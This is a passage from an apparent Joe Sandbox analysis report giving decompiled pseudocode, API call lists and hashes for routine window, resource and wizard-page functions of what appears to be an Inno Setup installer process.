0x00488607
0x0048860c
0x00488610
0x00488615
0x00488621
0x00488621
0x00488626
0x0048862a
0x00488630
0x0048863c
0x0048863c
0x00488651

APIs

OffsetRect.USER32(?,?,00000000), ref: 004885EC
OffsetRect.USER32(?,00000000,?), ref: 00488607
OffsetRect.USER32(?,?,00000000), ref: 00488621
OffsetRect.USER32(?,00000000,?), ref: 0048863C

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: OffsetRect
String ID:
API String ID: 177026234-0
Opcode ID: e930ae5f9c6793fa844807e4c318ccb697997ed23c9637388a8b9729ef4b8dee
Instruction ID: 5b824585aa51fb87f70f9c434e37a28c71bd38defd619a23ada872ee26880216
Opcode Fuzzy Hash: e930ae5f9c6793fa844807e4c318ccb697997ed23c9637388a8b9729ef4b8dee
Instruction Fuzzy Hash: 172160B67042056FC700EE69CC85E6FB7DAEBC4300F548A2EF944D724AEA34ED448765

Uniqueness

Uniqueness Score: -1.00%

Function 004172E0 Relevance: 6.1, APIs: 4, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004172E0(intOrPtr* __eax, void* __edx) {
				char _v20;
				void* _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				struct HWND__* _t26;
				intOrPtr _t28;
				intOrPtr _t31;
				intOrPtr _t32;
				struct HICON__* _t34;
				void* _t39;
				intOrPtr* _t40;
				intOrPtr _t50;
				void* _t51;
				struct tagPOINT* _t52;

				_t51 = __edx;
				_t40 = __eax;
				if( *((intOrPtr*)(__edx + 4)) !=  *((intOrPtr*)(__eax + 0xc0))) {
					L16:
					return  *((intOrPtr*)( *_t40 - 0x10))();
				}
				_t22 =  *((intOrPtr*)(__edx + 8)) - 0xfffe;
				if(_t22 == 0) {
					if( *((short*)(__edx + 0xa)) != 0x201) {
						goto L16;
					}
					_t23 =  *0x48d628; // 0x2162410
					if( *((intOrPtr*)(_t23 + 0x20)) == 0) {
						goto L16;
					}
					_t24 =  *0x48d628; // 0x2162410
					_t26 = GetLastActivePopup( *(_t24 + 0x20));
					if(_t26 == GetForegroundWindow()) {
						goto L16;
					}
					_t28 =  *0x48d628; // 0x2162410
					return E00424308(_t28);
				}
				if(_t22 != 3) {
					goto L16;
				}
				if(( *(__eax + 0x1c) & 0x00000010) == 0) {
					_t31 =  *0x48d62c; // 0x2160660
					_t50 =  *((intOrPtr*)(_t31 + 0x28));
					if(_t50 == 0) {
						GetCursorPos(_t52);
						E00414884(_t40,  &_v20, _t52);
						_t39 = E00416998(_t40, 0,  &_v20);
						if(_t39 != 0) {
							_t50 =  *((intOrPtr*)(_t39 + 0x4c));
						}
						if(_t50 == 0) {
							_t50 =  *((intOrPtr*)(_t40 + 0x4c));
						}
					}
				} else {
					_t50 = 0xfffe;
				}
				if(_t50 == 0) {
					goto L16;
				} else {
					_t32 =  *0x48d62c; // 0x2160660
					_t34 = SetCursor(E00423434(_t32, _t50));
					 *((intOrPtr*)(_t51 + 0xc)) = 1;
					return _t34;
				}
			}

0x004172e6
0x004172e8
0x004172f3
0x004173b1
0x00000000
0x004173b7
0x004172fd
0x00417301
0x0041737f
0x00000000
0x00000000
0x00417381
0x0041738a
0x00000000
0x00000000
0x0041738c
0x00417395
0x004173a3
0x00000000
0x00000000
0x004173a5
0x00000000
0x004173aa
0x00417307
0x00000000
0x00000000
0x00417311
0x00417319
0x0041731e
0x00417325
0x00417328
0x00417335
0x00417342
0x00417349
0x0041734b
0x0041734b
0x00417352
0x00417354
0x00417354
0x00417352
0x00417313
0x00417313
0x00417313
0x0041735b
0x00000000
0x0041735d
0x00417360
0x0041736b
0x00417370
0x00000000
0x00417370

APIs

GetCursorPos.USER32 ref: 00417328
SetCursor.USER32(00000000), ref: 0041736B
GetLastActivePopup.USER32(?), ref: 00417395
GetForegroundWindow.USER32(?), ref: 0041739C

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Cursor$ActiveForegroundLastPopupWindow
String ID:
API String ID: 1959210111-0
Opcode ID: 2ee17bafeec45e60645a682f750ce4ef553eb04d9f4138f0cc99ea1327cdb86b
Instruction ID: bac7e200b11387e1ba21beeddde03211dbe408e99f5f69e57673f47c47d5fcf6
Opcode Fuzzy Hash: 2ee17bafeec45e60645a682f750ce4ef553eb04d9f4138f0cc99ea1327cdb86b
Instruction Fuzzy Hash: 04217F316092048AC710EF2AC845ADF33B1AB44764B46496EEC699B392E73DDC81D75D

Uniqueness

Uniqueness Score: -1.00%

Function 00488318 Relevance: 6.1, APIs: 4, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00488318(intOrPtr* __eax, int __ecx, int __edx, int _a4, int _a8) {
				int _v8;
				int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr* _t59;
				int _t65;
				int _t66;

				_v12 = __ecx;
				_v8 = __edx;
				_t59 = __eax;
				_t5 = _t59 + 0x24; // 0x8b500000
				_t66 = MulDiv( *_t5, _v8, _v12);
				_t8 = _t59 + 0x28; // 0x50142444
				_t65 = MulDiv( *_t8, _a8, _a4);
				if(( *(_t59 + 0x35) & 0x00000001) != 0) {
					_t17 = _t59 + 0x2c; // 0xf7d483e8
					_v16 =  *_t17;
				} else {
					_t14 = _t59 + 0x24; // 0x8b500000
					_t15 = _t59 + 0x2c; // 0xf7d483e8
					_v16 = MulDiv( *_t14 +  *_t15, _v8, _v12) - _t66;
				}
				if(( *(_t59 + 0x35) & 0x00000002) != 0) {
					_t27 = _t59 + 0x30; // 0x8bf88bff
					_v20 =  *_t27;
				} else {
					_t24 = _t59 + 0x28; // 0x50142444
					_t25 = _t59 + 0x30; // 0x8bf88bff
					_v20 = MulDiv( *_t24 +  *_t25, _a8, _a4) - _t65;
				}
				return  *((intOrPtr*)( *_t59 + 0x4c))(_v20, _v16);
			}

0x00488321
0x00488324
0x00488327
0x00488331
0x0048833a
0x00488344
0x0048834d
0x00488353
0x00488370
0x00488373
0x00488355
0x0048835d
0x00488360
0x0048836b
0x0048836b
0x0048837a
0x00488397
0x0048839a
0x0048837c
0x00488384
0x00488387
0x00488392
0x00488392
0x004883b6

APIs

MulDiv.KERNEL32(8B500000,00000000,?), ref: 00488335
MulDiv.KERNEL32(50142444,00000008,?), ref: 00488348
MulDiv.KERNEL32(F7D483E8,00000000,?), ref: 00488364
MulDiv.KERNEL32(8BF88BFF,00000008,?), ref: 0048838B

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00410b4d8b0f69e6e5972e21e3cdbb834df30f1611a0f3f66f7c34ab6d2831f5
Instruction ID: 3251cc3186a811aa5037efa69265713b7995ec2fe77ecce64b3da02d6926583a
Opcode Fuzzy Hash: 00410b4d8b0f69e6e5972e21e3cdbb834df30f1611a0f3f66f7c34ab6d2831f5
Instruction Fuzzy Hash: 7B21B9B6A00105AFCB40DFADC884E9EB7FCAF0C314B504596B918DB246D674ED408B54

Uniqueness

Uniqueness Score: -1.00%

Function 0041F548 Relevance: 6.1, APIs: 4, Instructions: 56
registryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0041F548(intOrPtr _a4, intOrPtr _a8) {
				struct _WNDCLASSA _v44;
				struct HINSTANCE__* _t5;
				CHAR* _t7;
				struct HINSTANCE__* _t8;
				signed int _t9;
				signed int _t11;
				struct HINSTANCE__* _t13;
				CHAR* _t14;
				struct HINSTANCE__* _t19;
				CHAR* _t20;
				struct HWND__* _t22;

				_t5 =  *0x48d014; // 0x400000
				 *0x48c5ac = _t5;
				_t7 =  *0x48c5c0; // 0x41f538
				_t8 =  *0x48d014; // 0x400000
				_t9 = GetClassInfoA(_t8, _t7,  &_v44);
				asm("sbb eax, eax");
				_t11 =  ~( ~_t9);
				if(_t11 == 0 || L00405F3C != _v44.lpfnWndProc) {
					if(_t11 != 0) {
						_t19 =  *0x48d014; // 0x400000
						_t20 =  *0x48c5c0; // 0x41f538
						UnregisterClassA(_t20, _t19);
					}
					RegisterClassA( &E0048C59C);
				}
				_t13 =  *0x48d014; // 0x400000
				_t14 =  *0x48c5c0; // 0x41f538
				_t22 = E004063F4(_t14, 0, 0x41f5e8, 0, _t13, 0, 0, 0, 0, 0, 0);
				SetWindowLongA(_t22, 0xfffffffc, E0041F48C(_a4, _a8));
				return _t22;
			}

0x0041f54f
0x0041f554
0x0041f55d
0x0041f563
0x0041f569
0x0041f570
0x0041f572
0x0041f576
0x0041f584
0x0041f586
0x0041f58c
0x0041f592
0x0041f592
0x0041f59c
0x0041f59c
0x0041f5ad
0x0041f5bc
0x0041f5c6
0x0041f5d7
0x0041f5e2

APIs

GetClassInfoA.USER32 ref: 0041F569
UnregisterClassA.USER32 ref: 0041F592
RegisterClassA.USER32 ref: 0041F59C
SetWindowLongA.USER32 ref: 0041F5D7

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Class$InfoLongRegisterUnregisterWindow
String ID:
API String ID: 4025006896-0
Opcode ID: 10a9a7078d67312e7ce8e8337c3ec44bd7b0364bdc37ad7fed2a3dd39bb75202
Instruction ID: c21b3c6f039f3a1543fbbeaf4668144afd44c643da5632c1bde523ec4f1d684a
Opcode Fuzzy Hash: 10a9a7078d67312e7ce8e8337c3ec44bd7b0364bdc37ad7fed2a3dd39bb75202
Instruction Fuzzy Hash: 7F012D71640104BBCF10EFA9EC81E9F3799A709318F00463AB905EB2E2D635E8159B68

Uniqueness

Uniqueness Score: -1.00%

Function 0040D2C8 Relevance: 6.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E0040D2C8(void* __eax, struct HINSTANCE__* __edx, CHAR* _a4) {
				CHAR* _v8;
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t18;
				void* _t23;
				CHAR* _t24;
				void* _t25;
				struct HRSRC__* _t30;
				void* _t31;
				struct HINSTANCE__* _t32;
				void* _t33;

				_v8 = _t24;
				_t32 = __edx;
				_t23 = __eax;
				_t30 = FindResourceA(__edx, _v8, _a4);
				 *(_t23 + 0x10) = _t30;
				_t34 = _t30;
				if(_t30 == 0) {
					E0040D254(_t23, _t30, _t32, _t34, _t33);
				}
				_t5 = _t23 + 0x10; // 0x72756f73
				_t31 = LoadResource(_t32,  *_t5);
				 *(_t23 + 0x14) = _t31;
				_t35 = _t31;
				if(_t31 == 0) {
					E0040D254(_t23, _t31, _t32, _t35, _t33);
				}
				_t7 = _t23 + 0x10; // 0x72756f73
				_push(SizeofResource(_t32,  *_t7));
				_t8 = _t23 + 0x14; // 0x74536563
				_t18 = LockResource( *_t8);
				_pop(_t25);
				return E0040CFDC(_t23, _t25, _t18);
			}

0x0040d2cf
0x0040d2d2
0x0040d2d4
0x0040d2e4
0x0040d2e6
0x0040d2e9
0x0040d2eb
0x0040d2ee
0x0040d2f3
0x0040d2f4
0x0040d2fe
0x0040d300
0x0040d303
0x0040d305
0x0040d308
0x0040d30d
0x0040d30e
0x0040d318
0x0040d319
0x0040d31d
0x0040d326
0x0040d331

APIs

FindResourceA.KERNEL32(00400000,00000000,00000000), ref: 0040D2DF
LoadResource.KERNEL32(00400000,72756F73,0040AA80,00400000,00000001,00000000,?,0040D23C,00000000,?,?,00000000,?,00472220,0000000A,00000000), ref: 0040D2F9
SizeofResource.KERNEL32(00400000,72756F73,00400000,72756F73,0040AA80,00400000,00000001,00000000,?,0040D23C,00000000,?,?,00000000,?,00472220), ref: 0040D313
LockResource.KERNEL32(74536563,00000000,00400000,72756F73,00400000,72756F73,0040AA80,00400000,00000001,00000000,?,0040D23C,00000000,?,?,00000000), ref: 0040D31D

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 3bb43f5d52285fdfed78278d9ca77677ef357f628772948a1ed4c0710a20c811
Instruction ID: 542866f3073ff163a702ba7e2e3de952a852996e327bb70ca280f3e64d2c5601
Opcode Fuzzy Hash: 3bb43f5d52285fdfed78278d9ca77677ef357f628772948a1ed4c0710a20c811
Instruction Fuzzy Hash: CBF062B26056046F9708FE9D9881D5B77EDDE88264310007FF91CE7286DA38ED058B78

Uniqueness

Uniqueness Score: -1.00%

Function 00454730 Relevance: 6.0, APIs: 4, Instructions: 41
registrywindowCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00454730(void* __eax, void* __ecx, void* __edx, void* __eflags) {
				char _v12;
				int _t13;
				void* _t19;
				void* _t25;
				void** _t26;

				_push(__ecx);
				_t19 = __edx;
				_t25 = __eax;
				if(E0042DCB4(0,  *((intOrPtr*)(0x48ca18 + (E0042DAA4( &_v12) & 0x0000007f) * 4)), 0x80000002,  &_v12, 2, 0) == 0) {
					_push(E00403880(_t25));
					_push(_v12);
					L004058FC();
					RegCloseKey( *_t26);
				}
				_t13 = RemoveFontResourceA(E00403880(_t19));
				if(_t13 != 0) {
					_t13 = SendNotifyMessageA(0xffff, 0x1d, 0, 0);
				}
				return _t13;
			}

0x00454732
0x00454733
0x00454735
0x0045475d
0x00454766
0x0045476b
0x0045476c
0x00454775
0x00454775
0x00454782
0x00454789
0x00454796
0x00454796
0x0045479e

APIs

Part of subcall function 0042DCB4: 6C8D6790.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004783BF,?,00000001,?,?,004783BF,?,00000001,00000000), ref: 0042DCD0

6C8D6690.ADVAPI32(?,00000000,?,00000002,00000000,?,?,00000000,004584F9), ref: 0045476C
RegCloseKey.ADVAPI32(00000000,?,00000000,?,00000002,00000000,?,?,00000000,004584F9), ref: 00454775
RemoveFontResourceA.GDI32(00000000), ref: 00454782
SendNotifyMessageA.USER32(0000FFFF,0000001D,00000000,00000000), ref: 00454796

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CloseD6690D6790FontMessageNotifyRemoveResourceSend
String ID:
API String ID: 911274636-0
Opcode ID: 37287cc32b2c29381a48a7316915b6ded4d7798c5ea5e6b1da3b2d3d66d5b5a8
Instruction ID: 2b422e65405ee2d92d30493631ccf6b7ae4006e84f62635805817285d1b95c04
Opcode Fuzzy Hash: 37287cc32b2c29381a48a7316915b6ded4d7798c5ea5e6b1da3b2d3d66d5b5a8
Instruction Fuzzy Hash: BBF030B2B4470136EA20B7B65C46F1B528C8F48788F14883EBA44EB1D2D67CD944966D

Uniqueness

Uniqueness Score: -1.00%

Function 00424308 Relevance: 6.0, APIs: 4, Instructions: 26
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00424308(void* __eax) {
				struct HWND__* _t4;
				void* _t6;
				struct HWND__* _t7;

				_t6 = __eax;
				_t4 =  *(__eax + 0x20);
				if(_t4 != 0) {
					_t4 = GetLastActivePopup(_t4);
					_t7 = _t4;
					if(_t7 != 0 && _t7 !=  *((intOrPtr*)(_t6 + 0x20))) {
						_t4 = IsWindowVisible(_t7);
						if(_t4 != 0) {
							_t4 = IsWindowEnabled(_t7);
							if(_t4 != 0) {
								return SetForegroundWindow(_t7);
							}
						}
					}
				}
				return _t4;
			}

0x0042430a
0x0042430c
0x00424311
0x00424314
0x00424319
0x0042431d
0x00424325
0x0042432c
0x0042432f
0x00424336
0x00000000
0x00424339
0x00424336
0x0042432c
0x0042431d
0x00424340

APIs

GetLastActivePopup.USER32(?), ref: 00424314
IsWindowVisible.USER32(?), ref: 00424325
IsWindowEnabled.USER32(?), ref: 0042432F
SetForegroundWindow.USER32(?,?,?,?,?,00486518,00000000,00486C30), ref: 00424339

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Window$ActiveEnabledForegroundLastPopupVisible
String ID:
API String ID: 2280970139-0
Opcode ID: d4c34c35976f1a4744d72fad739808c656fe72c1b6fedfe1ace3690ff732f2b4
Instruction ID: 093e33b802470a6257887afd832b24ea788dd3b2501e4f7f6a6e70dd687b8a9b
Opcode Fuzzy Hash: d4c34c35976f1a4744d72fad739808c656fe72c1b6fedfe1ace3690ff732f2b4
Instruction Fuzzy Hash: E4E08C61702635579A21B63A2982BDB95CD8D45344346007BBC50FB283DA2DDC1081FC

Uniqueness

Uniqueness Score: -1.00%

Function 00406384 Relevance: 6.0, APIs: 4, Instructions: 11
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406384(void* __eax, int __ecx, long __edx) {
				void* _t2;
				void* _t4;

				_t2 = GlobalHandle(__eax);
				GlobalUnWire(_t2);
				_t4 = GlobalReAlloc(_t2, __edx, __ecx);
				GlobalFix(_t4);
				return _t4;
			}

0x00406387
0x0040638e
0x00406393
0x00406399
0x0040639e

APIs

GlobalHandle.KERNEL32 ref: 00406387
GlobalUnWire.KERNEL32(00000000), ref: 0040638E
GlobalReAlloc.KERNEL32 ref: 00406393
GlobalFix.KERNEL32(00000000), ref: 00406399

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Global$AllocHandleWire
String ID:
API String ID: 2210401237-0
Opcode ID: 2ccb1316f656a9feec663ea7d40f446e50994104d6d7ba694866cbb55bb477a3
Instruction ID: 358e25fb7084f445ff186797d019571ee60d51755ee9ae5fd621e3f1806715ee
Opcode Fuzzy Hash: 2ccb1316f656a9feec663ea7d40f446e50994104d6d7ba694866cbb55bb477a3
Instruction Fuzzy Hash: 47B009E4961E0178ED4873B26C0FD3F387DD88870D38049AE3440BA497987CBC00883E

Uniqueness

Uniqueness Score: -1.00%

Function 00464134 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 247
windowCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00464134(intOrPtr __eax, void* __ecx, intOrPtr __edx, void* __eflags, void* __fp0) {
				intOrPtr _v8;
				char _v12;
				char _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t130;
				intOrPtr _t150;
				intOrPtr _t172;
				void* _t182;
				void* _t209;
				void* _t214;
				void* _t215;
				int _t216;
				void* _t218;
				int _t230;
				intOrPtr _t234;
				intOrPtr _t235;
				intOrPtr _t236;
				intOrPtr _t239;
				intOrPtr _t240;
				intOrPtr _t243;
				intOrPtr _t244;
				intOrPtr _t245;
				intOrPtr _t246;
				intOrPtr _t247;
				signed int _t248;
				void* _t257;
				intOrPtr _t260;
				void* _t281;

				_t281 = __fp0;
				_t218 = __ecx;
				_t256 = __edx;
				_v8 = __eax;
				_t258 = E00462A10(_v8, _t214, __edx, __edx, _t257);
				_t215 = E0040B504( *((intOrPtr*)(_v8 + 0x2ec)), _t95);
				 *((intOrPtr*)(_v8 + 0x340)) = __edx;
				_t100 =  *((intOrPtr*)(_t215 + 0x28));
				if( *((intOrPtr*)(_t215 + 0x28)) != 0) {
					E0045F2B4( *((intOrPtr*)(_v8 + 0x1c4)), _t218, _t100);
				}
				E0045F2B4( *((intOrPtr*)(_v8 + 0x1c0)), _t218,  *((intOrPtr*)(_t215 + 0x24)));
				E00460FE8(_t215);
				if( *0x48db8c == 0) {
					L5:
					_t230 = 0;
					goto L7;
				} else {
					_t209 =  *((intOrPtr*)(_v8 + 0x340)) - 1;
					if(_t209 == 0 || _t209 == 0xd) {
						goto L5;
					} else {
						_t230 = 1;
						L7:
						E00414B0C( *((intOrPtr*)(_v8 + 0x280)), _t218, _t230, _t256);
						if(( *(_t215 + 0x5c) & 0x00000002) != 0) {
							E00414B0C( *((intOrPtr*)(_v8 + 0x1bc)), _t218, 0, _t256);
							E00414B0C( *((intOrPtr*)(_v8 + 0x1b8)), _t218, 0, _t256);
							_t233 = 0;
							__eflags = 0;
							E00414B0C( *((intOrPtr*)(_v8 + 0x1b4)), _t218, 0, _t256);
						} else {
							_t172 = _v8;
							_t267 =  *((intOrPtr*)(_t172 + 0x340)) - 0xc;
							if( *((intOrPtr*)(_t172 + 0x340)) == 0xc || E004640E8(_v8, _t267, _t281) + 1 == 0) {
								_t248 = 0;
							} else {
								_t248 = 1;
							}
							E00414B0C( *((intOrPtr*)(_v8 + 0x1bc)), _t218, _t248, _t256);
							E00414B0C( *((intOrPtr*)(_v8 + 0x1b8)), _t218, _t248 & 0xffffff00 |  *((intOrPtr*)(_v8 + 0x340)) != 0x0000000c, _t256);
							_t182 =  *((intOrPtr*)(_v8 + 0x340)) - 2;
							if(_t182 == 0) {
								E00414B48( *((intOrPtr*)(_v8 + 0x1b8)),  *((intOrPtr*)( *((intOrPtr*)(_v8 + 0x2a0)) + 0x101)));
							} else {
								if(_t182 == 9) {
									E00414B48( *((intOrPtr*)(_v8 + 0x1b8)), 0);
								} else {
									E00414B48( *((intOrPtr*)(_v8 + 0x1b8)), 1);
								}
							}
							E00414B0C( *((intOrPtr*)(_v8 + 0x1b4)), _t218, 0 | _t258 - E00462A10(_v8, _t215, 0xc, _t256, _t258) <= 0x00000000, _t256);
							if( *((intOrPtr*)(_v8 + 0x340)) != 0xc || ( *0x4ae180 & 0x00000020) != 0 &&  *0x4adfc0 == 0) {
								_t233 = 1;
							} else {
								_t233 = 0;
							}
							E00414B48( *((intOrPtr*)(_v8 + 0x1b4)), _t233);
						}
						if(E00418218( *((intOrPtr*)(_v8 + 0x1b4)), _t233) == 0) {
							_t216 = 1;
						} else {
							_t216 = 0;
						}
						_t217 = _t216;
						EnableMenuItem(GetSystemMenu(E004182A8(_v8), 0), 0xf060, _t216);
						_t234 =  *0x48db98; // 0x2178290
						E00414BE0( *((intOrPtr*)(_v8 + 0x1bc)), _t216, _t234, _t256, _t258);
						_t130 =  *((intOrPtr*)(_v8 + 0x340)) - 0xa;
						if(_t130 == 0) {
							_t235 =  *0x48dba8; // 0x21782e4
							E00414BE0( *((intOrPtr*)(_v8 + 0x1b8)), _t217, _t235, _t256, _t258);
							_t236 =  *0x48dba0; // 0x21782bc
							E00414BE0( *((intOrPtr*)(_v8 + 0x1b4)), _t217, _t236, _t256, _t258);
						} else {
							if(_t130 == 4) {
								_t244 =  *0x48dba4; // 0x21782d0
								E00414BE0( *((intOrPtr*)(_v8 + 0x1b8)), _t217, _t244, _t256, _t258);
								_t245 =  *0x48dba0; // 0x21782bc
								E00414BE0( *((intOrPtr*)(_v8 + 0x1b4)), _t217, _t245, _t256, _t258);
							} else {
								_t246 =  *0x48dbb0; // 0x217831c
								E00414BE0( *((intOrPtr*)(_v8 + 0x1b8)), _t217, _t246, _t256, _t258);
								_t247 =  *0x48dba0; // 0x21782bc
								E00414BE0( *((intOrPtr*)(_v8 + 0x1b4)), _t217, _t247, _t256, _t258);
							}
						}
						E00464088(_v8, _t256);
						if( *((intOrPtr*)(_v8 + 0x340)) == 5) {
							_push(0x464415);
							_push( *[fs:eax]);
							 *[fs:eax] = _t260;
							E00414B48( *((intOrPtr*)(_v8 + 0x1b8)), E00460AAC(_v8, _t217, _t256, _t258, _t281));
							_pop(_t243);
							 *[fs:eax] = _t243;
						}
						_push(_t259);
						_push(0x46446a);
						_push( *[fs:eax]);
						 *[fs:eax] = _t260;
						 *((intOrPtr*)( *((intOrPtr*)(E00462AD4(_v8,  *((intOrPtr*)(_v8 + 0x340)), _t256))) + 0x28))();
						_pop(_t239);
						 *[fs:eax] = _t239;
						_push(_t259);
						_push(0x4644c8);
						_push( *[fs:eax]);
						 *[fs:eax] = _t260;
						_t280 =  *0x4ae290;
						if( *0x4ae290 != 0) {
							_v16 =  *((intOrPtr*)(_v8 + 0x340));
							_v12 = 0;
							_t150 =  *0x4ae290; // 0x2188110
							E00487A5C(_t150,  &_v16, "CurPageChanged", _t280, _t281, 0, 0);
						}
						_pop(_t240);
						 *[fs:eax] = _t240;
						return 0;
					}
				}
			}

0x00464134
0x00464134
0x0046413d
0x0046413f
0x0046414c
0x0046415e
0x00464163
0x00464169
0x0046416e
0x0046417b
0x0046417b
0x0046418c
0x00464193
0x0046419f
0x004641b4
0x004641b4
0x00000000
0x004641a1
0x004641aa
0x004641ad
0x00000000
0x004641b8
0x004641b8
0x004641ba
0x004641c3
0x004641cc
0x004642cd
0x004642dd
0x004642e2
0x004642e2
0x004642ed
0x004641d2
0x004641d2
0x004641d5
0x004641dc
0x004641e9
0x004641ed
0x004641ed
0x004641ed
0x004641f8
0x00464213
0x00464221
0x00464224
0x00464245
0x00464226
0x00464229
0x00464257
0x0046422b
0x00464269
0x00464269
0x00464229
0x00464289
0x00464298
0x004642b0
0x004642ac
0x004642ac
0x004642ac
0x004642bb
0x004642bb
0x00464302
0x00464308
0x00464304
0x00464304
0x00464304
0x0046430d
0x00464327
0x0046432c
0x0046433b
0x00464349
0x0046434c
0x00464355
0x00464364
0x00464369
0x00464378
0x0046434e
0x00464351
0x0046437f
0x0046438e
0x00464393
0x004643a2
0x00464353
0x004643a9
0x004643b8
0x004643bd
0x004643cc
0x004643cc
0x00464351
0x004643d4
0x004643e3
0x004643e8
0x004643ed
0x004643f0
0x00464406
0x0046440d
0x00464410
0x00464410
0x0046443e
0x0046443f
0x00464444
0x00464447
0x0046445d
0x00464462
0x00464465
0x00464483
0x00464484
0x00464489
0x0046448c
0x0046448f
0x00464496
0x004644a5
0x004644a8
0x004644b4
0x004644b9
0x004644b9
0x004644c0
0x004644c3
0x00000000
0x004644c3
0x004641ad

APIs

GetSystemMenu.USER32(00000000,00000000,0000F060,00000001), ref: 00464321
